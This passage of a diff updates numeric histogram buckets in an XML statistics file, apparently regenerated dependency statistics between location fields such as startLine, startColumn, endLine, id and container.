                                     <a>4</a>
                                     <b>6</b>
-                                    <v>171339</v>
+                                    <v>160882</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>10</b>
-                                    <v>192579</v>
+                                    <v>190048</v>
                                 </b>
                                 <b>
                                     <a>10</a>
                                     <b>16</b>
-                                    <v>161427</v>
+                                    <v>166057</v>
                                 </b>
                                 <b>
                                     <a>16</a>
-                                    <b>24</b>
-                                    <v>159539</v>
-                                </b>
-                                <b>
-                                    <a>24</a>
-                                    <b>42</b>
-                                    <v>159539</v>
-                                </b>
-                                <b>
-                                    <a>42</a>
-                                    <b>142</b>
-                                    <v>159539</v>
-                                </b>
-                                <b>
-                                    <a>142</a>
-                                    <b>298</b>
-                                    <v>26432</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>startLine</src>
-                    <trg>container</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>881241</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>262437</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>135466</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>7</b>
-                                    <v>195883</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>11</b>
-                                    <v>177475</v>
-                                </b>
-                                <b>
-                                    <a>11</a>
-                                    <b>16</b>
-                                    <v>161899</v>
-                                </b>
-                                <b>
-                                    <a>16</a>
-                                    <b>29</b>
-                                    <v>159539</v>
-                                </b>
-                                <b>
-                                    <a>29</a>
-                                    <b>298</b>
-                                    <v>147738</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>startLine</src>
-                    <trg>startColumn</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>625884</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>296893</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>203435</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>6</b>
-                                    <v>195411</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>9</b>
-                                    <v>178891</v>
-                                </b>
-                                <b>
-                                    <a>9</a>
-                                    <b>13</b>
-                                    <v>167091</v>
-                                </b>
-                                <b>
-                                    <a>13</a>
-                                    <b>19</b>
-                                    <v>178419</v>
-                                </b>
-                                <b>
-                                    <a>19</a>
-                                    <b>29</b>
-                                    <v>162843</v>
-                                </b>
-                                <b>
-                                    <a>29</a>
-                                    <b>52</b>
-                                    <v>112810</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>startLine</src>
-                    <trg>endLine</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>1552910</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>345510</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>5</b>
-                                    <v>171811</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>16</b>
-                                    <v>51449</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>startLine</src>
-                    <trg>endColumn</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>601811</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>305389</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>194939</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>6</b>
-                                    <v>174171</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>9</b>
-                                    <v>165675</v>
-                                </b>
-                                <b>
-                                    <a>9</a>
-                                    <b>14</b>
-                                    <v>172755</v>
-                                </b>
-                                <b>
-                                    <a>14</a>
-                                    <b>20</b>
-                                    <v>164259</v>
-                                </b>
-                                <b>
-                                    <a>20</a>
-                                    <b>31</b>
-                                    <v>171339</v>
-                                </b>
-                                <b>
-                                    <a>31</a>
-                                    <b>58</b>
-                                    <v>160955</v>
-                                </b>
-                                <b>
-                                    <a>58</a>
-                                    <b>67</b>
-                                    <v>10384</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>startColumn</src>
-                    <trg>id</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>31</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>42</a>
-                                    <b>85</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>86</a>
-                                    <b>128</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>129</a>
-                                    <b>230</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>247</a>
-                                    <b>292</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>292</a>
-                                    <b>360</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>377</a>
-                                    <b>459</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>476</a>
-                                    <b>559</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>565</a>
-                                    <b>620</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>625</a>
-                                    <b>689</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>700</a>
-                                    <b>795</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>820</a>
-                                    <b>1546</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>1698</a>
-                                    <b>5668</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>15394</a>
-                                    <b>15395</b>
-                                    <v>472</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>startColumn</src>
-                    <trg>container</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>18</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>23</a>
-                                    <b>35</b>
-                                    <v>3304</v>
-                                </b>
-                                <b>
-                                    <a>37</a>
-                                    <b>43</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>44</a>
-                                    <b>61</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>65</a>
-                                    <b>73</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>73</a>
-                                    <b>83</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>83</a>
-                                    <b>96</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>96</a>
-                                    <b>100</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>101</a>
-                                    <b>103</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>104</a>
-                                    <b>108</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>108</a>
-                                    <b>115</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>116</a>
-                                    <b>150</b>
-                                    <v>3304</v>
-                                </b>
-                                <b>
-                                    <a>152</a>
-                                    <b>298</b>
-                                    <v>2360</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>startColumn</src>
-                    <trg>startLine</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>19</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>30</a>
-                                    <b>72</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>83</a>
-                                    <b>122</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>123</a>
-                                    <b>204</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>213</a>
-                                    <b>262</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>264</a>
-                                    <b>324</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>324</a>
-                                    <b>380</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>404</a>
-                                    <b>439</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>455</a>
-                                    <b>475</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>477</a>
-                                    <b>510</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>517</a>
-                                    <b>579</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>588</a>
-                                    <b>836</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>1112</a>
-                                    <b>2199</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>2401</a>
-                                    <b>2402</b>
-                                    <v>472</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>startColumn</src>
-                    <trg>endLine</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>19</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>30</a>
-                                    <b>72</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>83</a>
-                                    <b>122</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>123</a>
-                                    <b>204</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>213</a>
-                                    <b>262</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>264</a>
-                                    <b>324</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>324</a>
-                                    <b>380</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>405</a>
-                                    <b>439</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>455</a>
-                                    <b>475</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>476</a>
-                                    <b>509</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>520</a>
-                                    <b>578</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>588</a>
-                                    <b>835</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>1115</a>
-                                    <b>2200</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>2409</a>
-                                    <b>2410</b>
-                                    <v>472</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>startColumn</src>
-                    <trg>endColumn</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>7</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>10</b>
-                                    <v>1888</v>
-                                </b>
-                                <b>
-                                    <a>10</a>
-                                    <b>13</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>13</a>
-                                    <b>19</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>19</a>
-                                    <b>23</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>23</a>
                                     <b>25</b>
-                                    <v>3304</v>
+                                    <v>168879</v>
                                 </b>
                                 <b>
                                     <a>25</a>
-                                    <b>31</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>31</a>
-                                    <b>36</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>38</a>
-                                    <b>41</b>
-                                    <v>2360</v>
-                                </b>
-                                <b>
-                                    <a>41</a>
                                     <b>46</b>
-                                    <v>3304</v>
+                                    <v>163704</v>
                                 </b>
                                 <b>
                                     <a>46</a>
-                                    <b>50</b>
-                                    <v>3304</v>
+                                    <b>169</b>
+                                    <v>159000</v>
                                 </b>
                                 <b>
-                                    <a>51</a>
-                                    <b>62</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>63</a>
-                                    <b>81</b>
-                                    <v>2832</v>
-                                </b>
-                                <b>
-                                    <a>85</a>
-                                    <b>86</b>
-                                    <v>472</v>
+                                    <a>170</a>
+                                    <b>299</b>
+                                    <v>7056</v>
                                 </b>
                             </bs>
                         </hist>
                     </val>
                 </dep>
                 <dep>
-                    <src>endLine</src>
-                    <trg>id</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>600867</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>301141</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>198243</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>6</b>
-                                    <v>165203</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>10</b>
-                                    <v>189275</v>
-                                </b>
-                                <b>
-                                    <a>10</a>
-                                    <b>16</b>
-                                    <v>163315</v>
-                                </b>
-                                <b>
-                                    <a>16</a>
-                                    <b>24</b>
-                                    <v>161899</v>
-                                </b>
-                                <b>
-                                    <a>24</a>
-                                    <b>43</b>
-                                    <v>162371</v>
-                                </b>
-                                <b>
-                                    <a>43</a>
-                                    <b>145</b>
-                                    <v>160011</v>
-                                </b>
-                                <b>
-                                    <a>146</a>
-                                    <b>298</b>
-                                    <v>22656</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>endLine</src>
+                    <src>startLine</src>
                     <trg>container</trg>
                     <val>
                         <hist>
@@ -5579,42 +4954,702 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>883129</v>
+                                    <v>869799</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>275181</v>
+                                    <v>280838</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>194467</v>
+                                    <v>191459</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>8</b>
-                                    <v>177947</v>
+                                    <v>181110</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>12</b>
-                                    <v>159539</v>
+                                    <v>162293</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>18</b>
-                                    <v>171811</v>
+                                    <v>166527</v>
                                 </b>
                                 <b>
                                     <a>18</a>
                                     <b>39</b>
-                                    <v>160011</v>
+                                    <v>159941</v>
                                 </b>
                                 <b>
                                     <a>39</a>
-                                    <b>298</b>
-                                    <v>102898</v>
+                                    <b>299</b>
+                                    <v>103021</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>startLine</src>
+                    <trg>startColumn</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>612482</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>313297</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>202749</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>6</b>
+                                    <v>184403</v>
+                                </b>
+                                <b>
+                                    <a>6</a>
+                                    <b>9</b>
+                                    <v>180639</v>
+                                </b>
+                                <b>
+                                    <a>9</a>
+                                    <b>13</b>
+                                    <v>166997</v>
+                                </b>
+                                <b>
+                                    <a>13</a>
+                                    <b>19</b>
+                                    <v>173583</v>
+                                </b>
+                                <b>
+                                    <a>19</a>
+                                    <b>29</b>
+                                    <v>167468</v>
+                                </b>
+                                <b>
+                                    <a>29</a>
+                                    <b>52</b>
+                                    <v>113370</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>startLine</src>
+                    <trg>endLine</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>1545788</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>351401</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>5</b>
+                                    <v>164645</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>16</b>
+                                    <v>53157</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>startLine</src>
+                    <trg>endColumn</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>586609</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>318942</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>201808</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>6</b>
+                                    <v>167468</v>
+                                </b>
+                                <b>
+                                    <a>6</a>
+                                    <b>9</b>
+                                    <v>160412</v>
+                                </b>
+                                <b>
+                                    <a>9</a>
+                                    <b>14</b>
+                                    <v>178287</v>
+                                </b>
+                                <b>
+                                    <a>14</a>
+                                    <b>21</b>
+                                    <v>176406</v>
+                                </b>
+                                <b>
+                                    <a>21</a>
+                                    <b>32</b>
+                                    <v>163234</v>
+                                </b>
+                                <b>
+                                    <a>32</a>
+                                    <b>61</b>
+                                    <v>159000</v>
+                                </b>
+                                <b>
+                                    <a>61</a>
+                                    <b>66</b>
+                                    <v>2822</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>startColumn</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>31</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>42</a>
+                                    <b>85</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>86</a>
+                                    <b>128</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>129</a>
+                                    <b>229</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>248</a>
+                                    <b>292</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>292</a>
+                                    <b>360</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>376</a>
+                                    <b>459</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>476</a>
+                                    <b>558</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>565</a>
+                                    <b>620</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>626</a>
+                                    <b>699</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>699</a>
+                                    <b>796</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>819</a>
+                                    <b>1546</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>1705</a>
+                                    <b>5645</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>15306</a>
+                                    <b>15307</b>
+                                    <v>470</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>startColumn</src>
+                    <trg>container</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>18</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>23</a>
+                                    <b>35</b>
+                                    <v>3292</v>
+                                </b>
+                                <b>
+                                    <a>38</a>
+                                    <b>43</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>44</a>
+                                    <b>61</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>65</a>
+                                    <b>73</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>73</a>
+                                    <b>83</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>83</a>
+                                    <b>95</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>96</a>
+                                    <b>101</b>
+                                    <v>3292</v>
+                                </b>
+                                <b>
+                                    <a>101</a>
+                                    <b>105</b>
+                                    <v>3292</v>
+                                </b>
+                                <b>
+                                    <a>106</a>
+                                    <b>111</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>111</a>
+                                    <b>123</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>127</a>
+                                    <b>153</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>169</a>
+                                    <b>299</b>
+                                    <v>1881</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>startColumn</src>
+                    <trg>startLine</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>19</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>30</a>
+                                    <b>72</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>83</a>
+                                    <b>122</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>122</a>
+                                    <b>205</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>214</a>
+                                    <b>261</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>264</a>
+                                    <b>322</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>325</a>
+                                    <b>380</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>403</a>
+                                    <b>436</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>454</a>
+                                    <b>474</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>477</a>
+                                    <b>514</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>517</a>
+                                    <b>586</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>587</a>
+                                    <b>831</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>1116</a>
+                                    <b>2197</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>2387</a>
+                                    <b>2388</b>
+                                    <v>470</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>startColumn</src>
+                    <trg>endLine</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>19</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>30</a>
+                                    <b>72</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>83</a>
+                                    <b>122</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>122</a>
+                                    <b>205</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>214</a>
+                                    <b>261</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>264</a>
+                                    <b>322</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>325</a>
+                                    <b>380</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>403</a>
+                                    <b>435</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>454</a>
+                                    <b>474</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>476</a>
+                                    <b>513</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>520</a>
+                                    <b>585</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>587</a>
+                                    <b>831</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>1121</a>
+                                    <b>2205</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>2383</a>
+                                    <b>2384</b>
+                                    <v>470</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>startColumn</src>
+                    <trg>endColumn</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>7</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>7</a>
+                                    <b>11</b>
+                                    <v>3292</v>
+                                </b>
+                                <b>
+                                    <a>11</a>
+                                    <b>16</b>
+                                    <v>3292</v>
+                                </b>
+                                <b>
+                                    <a>16</a>
+                                    <b>22</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>22</a>
+                                    <b>24</b>
+                                    <v>2352</v>
+                                </b>
+                                <b>
+                                    <a>24</a>
+                                    <b>27</b>
+                                    <v>3292</v>
+                                </b>
+                                <b>
+                                    <a>28</a>
+                                    <b>33</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>33</a>
+                                    <b>40</b>
+                                    <v>3292</v>
+                                </b>
+                                <b>
+                                    <a>40</a>
+                                    <b>43</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>43</a>
+                                    <b>49</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>49</a>
+                                    <b>54</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>54</a>
+                                    <b>74</b>
+                                    <v>2822</v>
+                                </b>
+                                <b>
+                                    <a>75</a>
+                                    <b>86</b>
+                                    <v>1881</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>endLine</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>589902</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>312356</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>198986</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>6</b>
+                                    <v>161352</v>
+                                </b>
+                                <b>
+                                    <a>6</a>
+                                    <b>10</b>
+                                    <v>189577</v>
+                                </b>
+                                <b>
+                                    <a>10</a>
+                                    <b>16</b>
+                                    <v>163704</v>
+                                </b>
+                                <b>
+                                    <a>16</a>
+                                    <b>25</b>
+                                    <v>171231</v>
+                                </b>
+                                <b>
+                                    <a>25</a>
+                                    <b>45</b>
+                                    <v>159471</v>
+                                </b>
+                                <b>
+                                    <a>45</a>
+                                    <b>160</b>
+                                    <v>159941</v>
+                                </b>
+                                <b>
+                                    <a>160</a>
+                                    <b>299</b>
+                                    <v>11289</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>endLine</src>
+                    <trg>container</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>881560</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>270019</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>123249</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>6</b>
+                                    <v>142065</v>
+                                </b>
+                                <b>
+                                    <a>6</a>
+                                    <b>10</b>
+                                    <v>195693</v>
+                                </b>
+                                <b>
+                                    <a>10</a>
+                                    <b>15</b>
+                                    <v>168409</v>
+                                </b>
+                                <b>
+                                    <a>15</a>
+                                    <b>26</b>
+                                    <v>165586</v>
+                                </b>
+                                <b>
+                                    <a>26</a>
+                                    <b>120</b>
+                                    <v>159471</v>
+                                </b>
+                                <b>
+                                    <a>121</a>
+                                    <b>299</b>
+                                    <v>11760</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5630,22 +5665,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1542998</v>
+                                    <v>1538732</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>354006</v>
+                                    <v>349048</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>170395</v>
+                                    <v>172172</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>10</b>
-                                    <v>57585</v>
+                                    <v>57861</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5661,47 +5696,47 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>625412</v>
+                                    <v>621890</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>301613</v>
+                                    <v>304359</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>204852</v>
+                                    <v>204631</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>194467</v>
+                                    <v>186755</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>9</b>
-                                    <v>175115</v>
+                                    <v>177817</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>13</b>
